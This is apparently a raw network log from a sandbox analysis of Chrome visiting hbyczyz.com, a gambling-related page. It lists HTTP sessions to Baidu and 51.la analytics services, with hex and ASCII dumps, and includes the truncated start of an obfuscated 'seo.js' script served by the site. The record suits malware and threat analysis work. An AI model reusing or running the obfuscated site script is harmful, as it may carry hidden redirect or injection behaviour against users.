Sep 27, 2024 05:50:36.870795965 CEST	776	IN	Data Raw: 28 62 39 29 2c 2d 2d 62 61 3b 62 61 3e 30 78 36 3b 62 61 2d 3d 30 78 36 29 62 62 28 30 78 32 30 37 30 29 3b 62 61 3e 30 78 32 26 26 28 62 62 28 62 61 2d 30 78 33 3c 3c 30 78 35 7c 30 78 32 30 31 30 29 2c 62 61 3d 30 78 30 29 3b 7d 66 6f 72 28 3b Data Ascii: (b9),--ba;ba>0x6;ba-=0x6)bb(0x2070);ba>0x2&&(bb(ba-0x3<<0x5\|0x2010),ba=0x0);}for(;ba--;)bb(b9);ba=0x1,b9=b4[bc];}return[b7['subarray'](0x0,b8),b6];},bO=function(b4,b5){for(var b6=0x0,b7=0x0;b7<b5['length'];++b7)b6+=b4[b7]*b5[b7];return b6;},bP
Sep 27, 2024 05:50:36.871925116 CEST	1236	IN	Data Raw: 63 30 5d 5d 2b 2b 3b 66 6f 72 28 76 61 72 20 64 77 3d 62 4c 28 62 5a 2c 30 78 37 29 2c 64 78 3d 64 77 5b 30 78 30 5d 2c 64 79 3d 64 77 5b 30 78 31 5d 2c 64 7a 3d 30 78 31 33 3b 64 7a 3e 30 78 34 26 26 21 64 78 5b 62 39 5b 64 7a 2d 30 78 31 5d 5d Data Ascii: c0]]++;for(var dw=bL(bZ,0x7),dx=dw[0x0],dy=dw[0x1],dz=0x13;dz>0x4&&!dx[b9[dz-0x1]];--dz);var dA,dB,dC,dD,dE=bn+0x5<<0x3,dF=bO(bc,bq)+bO(bd,bE)+bk,dG=bO(bc,bI)+bO(bd,bR)+bk+0xe+0x3dz+bO(bZ,dx)+(0x2bZ[0x10]+0x3bZ[0x11]+0x7bZ[0x12]);if(dE<=dF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49731	112.34.113.148	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:35.562033892 CEST	314	OUT	GET /push.js HTTP/1.1 Host: push.zhanzhang.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:36.628499031 CEST	377	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Length: 232 Content-Type: text/javascript Server: bfe Date: Fri, 27 Sep 2024 03:50:36 GMT Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw
Sep 27, 2024 05:51:21.646888018 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49736	90.84.161.25	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:38.109630108 CEST	678	OUT	POST /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive Content-Length: 314 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Origin: http://hbyczyz.com Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 1f 8b 08 00 8d 2b f6 66 00 03 5d 50 bb 4e c3 40 10 fc 95 c8 25 e2 f0 de 9d 1f e7 74 a9 50 10 82 48 11 a2 40 14 b1 ef 4c ac 04 db f8 95 38 88 8a 32 0d 12 1d f0 01 b4 80 84 a0 88 f8 19 83 f0 5f e0 75 92 86 6e 34 33 bb 3b b3 d7 5a 20 b5 6e 47 3b 50 ac 98 e7 fb c1 55 3f 2e 8f 0e 4f 1d 6d b7 a3 25 59 a3 50 9b d9 06 38 c0 6d ca ad 86 cc 90 d4 ca b1 c9 39 17 a2 be 7f ff 79 7d 3b fb 7e 5a d6 0f 8f e7 d5 d7 4b f5 79 57 df 3e 93 fe f1 50 ef 85 32 89 02 a9 f7 06 83 ea 63 f9 bb 5a e1 ce c9 0c c7 11 c9 74 8b d2 75 04 0f 94 27 94 23 89 c5 a9 41 4c 0a 3e 11 c2 35 89 03 23 5f 00 17 3e 03 85 76 2f 47 f7 38 cb e2 ae ae 8f dd d2 5b 94 8b 3d 2f ba d4 e7 49 82 7a dc ea 6d 81 29 22 ca 04 ec 50 60 06 52 d3 51 78 81 a4 0a c9 c9 b0 dd d6 f6 c9 c3 49 18 cd da 30 05 86 a1 a8 a8 2d 40 86 19 28 b6 ed 01 d3 27 1b 90 17 a9 b7 f1 e5 eb 1e 06 f5 1d 0b a4 24 d2 54 4d 0f 97 09 22 4c 1b c8 88 73 cb 16 0a c0 b7 5d bc 94 fb ff fe 6b b0 9b 3f a7 d0 19 f6 8f 01 00 00 Data Ascii: +f]PN@%tPH@L82_un43;Z nG;PU?.Om%YP8m9y};~ZKyW>P2cZtu'#AL>5#_>v/G8[=/Izm)"P`RQxI0-@('$TM"Ls]k?
Sep 27, 2024 05:50:38.940418005 CEST	409	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:50:38 GMT Content-Length: 0 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: http://hbyczyz.com Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE5-CACHE2[199],EU-GER-frankfurt-EDGE5-CACHE2[ovl,194] X-CCDN-REQ-ID-46B1: 1472d365227db1438176aa6ce44192e9
Sep 27, 2024 05:51:23.947413921 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49741	182.118.39.155	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:38.143116951 CEST	618	OUT	GET /go1?id=21261259&rt=1727409034063&rl=12801024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409034063&tt=yh533388%25E9%2593%25B6%25E6%25B2%25B3%255B%25E5%259C%258B%25E9%259A%259B%255D%25E4%25BF%25B1%25E4%25B9%2590%25E9%2583%25A8-IOS%252FAndroid%252FAPP%25E4%25B8%258B%25E8%25BD%25BD&kw=&cu=http%253A%252F%252Fhbyczyz.com%252Fxrr&pu= HTTP/1.1 Host: ia.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:39.984102011 CEST	251	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Length: 0 Connection: keep-alive Server: nginx via: CHN-HAzhengzhou-AREACUCC1-CACHE13[12],CHN-HAzhengzhou-AREACUCC1-CACHE13[ovl,5] X-CCDN-REQ-ID-46B1: 971237c5e07dcf246b5f991c098ea80c
Sep 27, 2024 05:51:24.990202904 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49744	149.104.74.82	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:38.162498951 CEST	279	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:39.182883978 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: LA-BRA-saopaulo-EDGE8-CACHE12[347],LA-BRA-saopaulo-EDGE8-CACHE12[ovl,343],LA-BRA-saopaulo-EDGE2-CACHE3[ovl,341],CHN-HElangfang-GLOBAL6-CACHE23[ovl,17] X-CCDN-REQ-ID-46B1: e3d877dfd10ee2fef23b01d392277642 Data Raw: 66 39 66 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d 3d 41 28 27 41 72 72 61 79 27 29 2c 6e 3d 41 28 27 46 75 6e 63 74 69 6f 6e 27 29 2c 6f 3d 41 28 27 52 65 67 45 78 70 27 29 3b 66 75 6e 63 74 69 6f 6e 20 71 28 74 2c 75 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 78 30 21 3d 3d 74 26 26 2d 30 78 31 [TRUNCATED] Data Ascii: f9f/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m=A('Array'),n=A('Function'),o=A('RegExp');function q(t,u){return void 0x0!==t&&-0x1!==t['indexOf'](u);}function v(w,x){for(var y=0x0,z=w['length'];y<z;y++)if(w[y]==x)return y;return-0x1;}function A(B){return function(C){return Object['prototype']['toString']['call'](C)==='[object\x20'['concat'](B,']');};}function D(){for(var E=0x0,F={};E<arguments['length'];E++){var G=arguments[E];for(var H in G)F[H]=G[H];}return F;}function I(J){return J['replace'](/&/g,'~_~');}function K(L){var M='';for(var N in L)
Sep 27, 2024 05:50:39.183331966 CEST	1236	IN	Data Raw: 27 27 21 3d 3d 4d 26 26 28 4d 2b 3d 27 26 27 29 2c 4d 2b 3d 4e 2b 27 3d 27 2b 68 28 68 28 49 28 53 74 72 69 6e 67 28 4c 5b 4e 5d 29 29 29 29 3b 72 65 74 75 72 6e 20 4d 3b 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 50 29 7b 72 65 74 75 72 6e 20 50 5b 27 Data Ascii: ''!==M&&(M+='&'),M+=N+'='+h(h(I(String(L[N]))));return M;}function O(P){return P['replace'](/^\s+\|\s+$/g,'');}function Q(){return+new Date();}function R(S){var T=e['navigator']['userAgent'],U=new RegExp(/\b(?:Chrome\|CrMo\|CriOS)\/([\d.]+)/)['ex
Sep 27, 2024 05:50:39.183367014 CEST	1236	IN	Data Raw: 27 64 73 27 3a 27 27 7d 3b 61 63 5b 27 74 74 27 5d 3d 56 5b 27 74 72 69 6d 27 5d 28 61 62 5b 27 6c 65 6e 67 74 68 27 5d 3f 61 62 5b 30 78 30 5d 5b 27 69 6e 6e 65 72 48 54 4d 4c 27 5d 3a 27 27 29 2c 61 63 5b 27 74 74 27 5d 3d 61 63 5b 27 74 74 27 Data Ascii: 'ds':''};ac['tt']=V['trim'](ab['length']?ab[0x0]['innerHTML']:''),ac['tt']=ac['tt']['slice'](0x0,0x3e8);for(var ad=0x0;ad<aa['length'];ad++)aa[ad]['name']&&(a9=aa[ad]['name']['toLowerCase'](),V['xdaPuS']('keywords',a9)&&(ac['kw']=aa[ad]['conte
Sep 27, 2024 05:50:39.185564041 CEST	774	IN	Data Raw: 5b 61 43 5d 3d 21 30 78 30 29 2c 61 44 3d 61 45 2b 61 43 2c 4f 62 6a 65 63 74 5b 27 70 72 6f 74 6f 74 79 70 65 27 5d 5b 27 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 27 5d 5b 27 63 61 6c 6c 27 5d 28 61 41 2c 61 44 29 29 61 45 3d 61 44 3b 65 6c 73 Data Ascii: [aC]=!0x0),aD=aE+aC,Object['prototype']['hasOwnProperty']['call'](aA,aD))aE=aD;else{if(Object['prototype']['hasOwnProperty']['call'](aB,aE)){if(aE['charCodeAt'](0x0)<0x100){for(ax=0x0;ax<aH;ax++)aJ<<=0x1,aK==ah-0x1?(aK=0x0,aI['push'](aw(aJ)),a
Sep 27, 2024 05:50:39.257319927 CEST	1236	IN	Data Raw: 33 63 37 36 0d 0a 3a 61 4b 2b 2b 2c 61 79 3e 3e 3d 30 78 31 3b 30 78 30 3d 3d 2d 2d 61 46 26 26 28 61 46 3d 4d 61 74 68 5b 27 70 6f 77 27 5d 28 30 78 32 2c 61 48 29 2c 61 48 2b 2b 29 2c 61 41 5b 61 44 5d 3d 61 47 2b 2b 2c 61 45 3d 53 74 72 69 6e Data Ascii: 3c76:aK++,ay>>=0x1;0x0==--aF&&(aF=Math['pow'](0x2,aH),aH++),aA[aD]=aG++,aE=String(aC);}if(''!==aE){if(Object['prototype']['hasOwnProperty']['call'](aB,aE)){if(aE['charCodeAt'](0x0)<0x100){for(ax=0x0;ax<aH;ax++)aJ<<=0x1,aK==ah-0x1?(aK=0x0,aI[
Sep 27, 2024 05:50:39.257694006 CEST	1236	IN	Data Raw: 74 72 75 63 74 6f 72 27 5d 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 4d 21 3d 3d 53 79 6d 62 6f 6c 5b 27 70 72 6f 74 6f 74 79 70 65 27 5d 3f 27 73 79 6d 62 6f 6c 27 3a 74 79 70 65 6f 66 20 61 4d 3b 7d 29 28 61 4d 29 3b 7d 76 61 72 20 61 50 3d 7b 27 70 Data Ascii: tructor']===Symbol&&aM!==Symbol['prototype']?'symbol':typeof aM;})(aM);}var aP={'parse':function gw(aV){return eval('('+aV+')');},'stringify':(aQ=Object['prototype']['toString'],aR=Object['prototype']['hasOwnProperty'],aS={'"':'\x5c\x22','\\':
Sep 27, 2024 05:50:39.257709026 CEST	1236	IN	Data Raw: 78 31 2c 30 78 31 2c 30 78 31 2c 30 78 31 2c 30 78 32 2c 30 78 32 2c 30 78 32 2c 30 78 32 2c 30 78 33 2c 30 78 33 2c 30 78 33 2c 30 78 33 2c 30 78 34 2c 30 78 34 2c 30 78 34 2c 30 78 34 2c 30 78 35 2c 30 78 35 2c 30 78 35 2c 30 78 35 2c 30 78 30 Data Ascii: x1,0x1,0x1,0x1,0x2,0x2,0x2,0x2,0x3,0x3,0x3,0x3,0x4,0x4,0x4,0x4,0x5,0x5,0x5,0x5,0x0,0x0,0x0,0x0]),b8=new b4([0x0,0x0,0x0,0x0,0x1,0x1,0x2,0x2,0x3,0x3,0x4,0x4,0x5,0x5,0x6,0x6,0x7,0x7,0x8,0x8,0x9,0x9,0xa,0xa,0xb,0xb,0xc,0xc,0xd,0xd,0x0,0x0]),b9=ne
Sep 27, 2024 05:50:39.258424044 CEST	672	IN	Data Raw: 6e 65 77 20 62 35 28 62 38 29 2c 62 39 3d 30 78 30 3b 62 39 3c 62 38 3b 2b 2b 62 39 29 62 34 5b 62 39 5d 26 26 28 62 62 5b 62 39 5d 3d 62 6d 5b 62 63 5b 62 34 5b 62 39 5d 2d 30 78 31 5d 2b 2b 5d 3e 3e 3e 30 78 66 2d 62 34 5b 62 39 5d 29 3b 72 65 Data Ascii: new b5(b8),b9=0x0;b9<b8;++b9)b4[b9]&&(bb[b9]=bm[bc[b4[b9]-0x1]++]>>>0xf-b4[b9]);return bb;},bq=new b4(0x120);for(bn=0x0;bn<0x90;++bn)bq[bn]=0x8;for(bn=0x90;bn<0x100;++bn)bq[bn]=0x9;for(bn=0x100;bn<0x118;++bn)bq[bn]=0x7;for(bn=0x118;bn<0x120;++
Sep 27, 2024 05:50:39.258441925 CEST	1236	IN	Data Raw: 34 5b 62 37 2b 30 78 31 5d 7c 3d 62 36 3e 3e 3e 30 78 38 3b 7d 2c 62 4b 3d 66 75 6e 63 74 69 6f 6e 28 62 34 2c 62 35 2c 62 36 29 7b 62 36 3c 3c 3d 30 78 37 26 62 35 3b 76 61 72 20 62 37 3d 62 35 2f 30 78 38 7c 30 78 30 3b 62 34 5b 62 37 5d 7c 3d Data Ascii: 4[b7+0x1]\|=b6>>>0x8;},bK=function(b4,b5,b6){b6<<=0x7&b5;var b7=b5/0x8\|0x0;b4[b7]\|=b6,b4[b7+0x1]\|=b6>>>0x8,b4[b7+0x2]\|=b6>>>0x10;},bL=function(b6,b7){for(var b8=[],b9=0x0;b9<b6['length'];++b9)b6[b9]&&b8['push']({'s':b9,'f':b6[b9]});var ba=b8['l
Sep 27, 2024 05:50:39.259233952 CEST	1236	IN	Data Raw: 2c 62 71 5d 3b 7d 2c 62 4d 3d 66 75 6e 63 74 69 6f 6e 20 62 34 28 62 35 2c 62 36 2c 62 37 29 7b 72 65 74 75 72 6e 2d 30 78 31 3d 3d 62 35 5b 27 73 27 5d 3f 4d 61 74 68 5b 27 6d 61 78 27 5d 28 62 34 28 62 35 5b 27 6c 27 5d 2c 62 36 2c 62 37 2b 30 Data Ascii: ,bq];},bM=function b4(b5,b6,b7){return-0x1==b5['s']?Math['max'](b4(b5['l'],b6,b7+0x1),b4(b5['r'],b6,b7+0x1)):b6[b5['s']]=b7;},bN=function(b4){for(var b6=b4['length'];b6&&!b4[--b6];);for(var b7=new b5(++b6),b8=0x0,b9=b4[0x0],ba=0x1,bb=function(
Sep 27, 2024 05:50:39.259251118 CEST	1236	IN	Data Raw: 28 76 61 72 20 64 77 3d 62 4c 28 62 5a 2c 30 78 37 29 2c 64 78 3d 64 77 5b 30 78 30 5d 2c 64 79 3d 64 77 5b 30 78 31 5d 2c 64 7a 3d 30 78 31 33 3b 64 7a 3e 30 78 34 26 26 21 64 78 5b 62 39 5b 64 7a 2d 30 78 31 5d 5d 3b 2d 2d 64 7a 29 3b 76 61 72 Data Ascii: (var dw=bL(bZ,0x7),dx=dw[0x0],dy=dw[0x1],dz=0x13;dz>0x4&&!dx[b9[dz-0x1]];--dz);var dA,dB,dC,dD,dE=bn+0x5<<0x3,dF=bO(bc,bq)+bO(bd,bE)+bk,dG=bO(bc,bI)+bO(bd,bR)+bk+0xe+0x3dz+bO(bZ,dx)+(0x2bZ[0x10]+0x3bZ[0x11]+0x7bZ[0x12]);if(dE<=dF&&dE<=dG)r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49745	182.61.201.94	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:38.317126989 CEST	393	OUT	GET /s.gif?l=http://hbyczyz.com/xrr HTTP/1.1 Host: api.share.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:39.237677097 CEST	116	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Fri, 27 Sep 2024 03:50:39 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49746	163.177.17.97	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:38.378709078 CEST	284	OUT	GET /push.js HTTP/1.1 Host: push.zhanzhang.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:39.534796000 CEST	377	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Length: 232 Content-Type: text/javascript Server: bfe Date: Fri, 27 Sep 2024 03:50:39 GMT Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw
Sep 27, 2024 05:51:24.539576054 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49751	90.84.161.25	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:39.373851061 CEST	284	OUT	GET /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:40.383125067 CEST	320	IN	HTTP/1.1 220 Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Length: 0 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers via: EU-GER-frankfurt-EDGE5-CACHE6[351],EU-GER-frankfurt-EDGE5-CACHE6[ovl,346] X-CCDN-REQ-ID-46B1: 56ebf210e461fbb8ff1e9bc96d475ab3
Sep 27, 2024 05:51:25.386253119 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49754	180.101.212.103	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:39.520929098 CEST	302	OUT	GET /s.gif?l=http://hbyczyz.com/xrr HTTP/1.1 Host: api.share.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:40.449599981 CEST	116	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Fri, 27 Sep 2024 03:50:40 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49711	50.2.64.137	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:51:15.765212059 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49712	50.2.64.137	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:51:15.788861036 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:33 UTC	385	OUT	GET /seo.js HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:33 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:07 GMT Content-Type: application/javascript Content-Length: 2787 Last-Modified: Wed, 12 Jun 2024 07:32:25 GMT Connection: close Vary: Accept-Encoding ETag: "66694f09-ae3" Expires: Fri, 27 Sep 2024 04:50:07 GMT Cache-Control: max-age=3600 Accept-Ranges: bytes
2024-09-27 03:50:33 UTC	2787	IN	Data Raw: 76 61 72 20 5f 5f 65 6e 63 6f 64 65 20 3d 27 6a 73 6a 69 61 6d 69 2e 63 6f 6d 27 2c 5f 61 3d 7b 7d 2c 20 5f 30 78 62 34 38 33 3d 5b 22 5c 78 35 46 5c 78 36 34 5c 78 36 35 5c 78 36 33 5c 78 36 46 5c 78 36 34 5c 78 36 35 22 2c 22 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 33 41 5c 78 32 46 5c 78 32 46 5c 78 37 37 5c 78 37 37 5c 78 37 37 5c 78 32 45 5c 78 37 33 5c 78 36 46 5c 78 36 41 5c 78 37 33 5c 78 36 46 5c 78 36 45 5c 78 32 45 5c 78 36 33 5c 78 36 46 5c 78 36 44 5c 78 32 46 5c 78 36 41 5c 78 36 31 5c 78 37 36 5c 78 36 31 5c 78 37 33 5c 78 36 33 5c 78 37 32 5c 78 36 39 5c 78 37 30 5c 78 37 34 5c 78 36 46 5c 78 36 32 5c 78 36 36 5c 78 37 35 5c 78 37 33 5c 78 36 33 5c 78 36 31 5c 78 37 34 5c 78 36 46 5c 78 37 32 5c 78 32 45 5c 78 36 38 5c 78 37 Data Ascii: var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49720	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 03:50:34 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=46540 Date: Fri, 27 Sep 2024 03:50:34 GMT Connection: close X-CID: 2

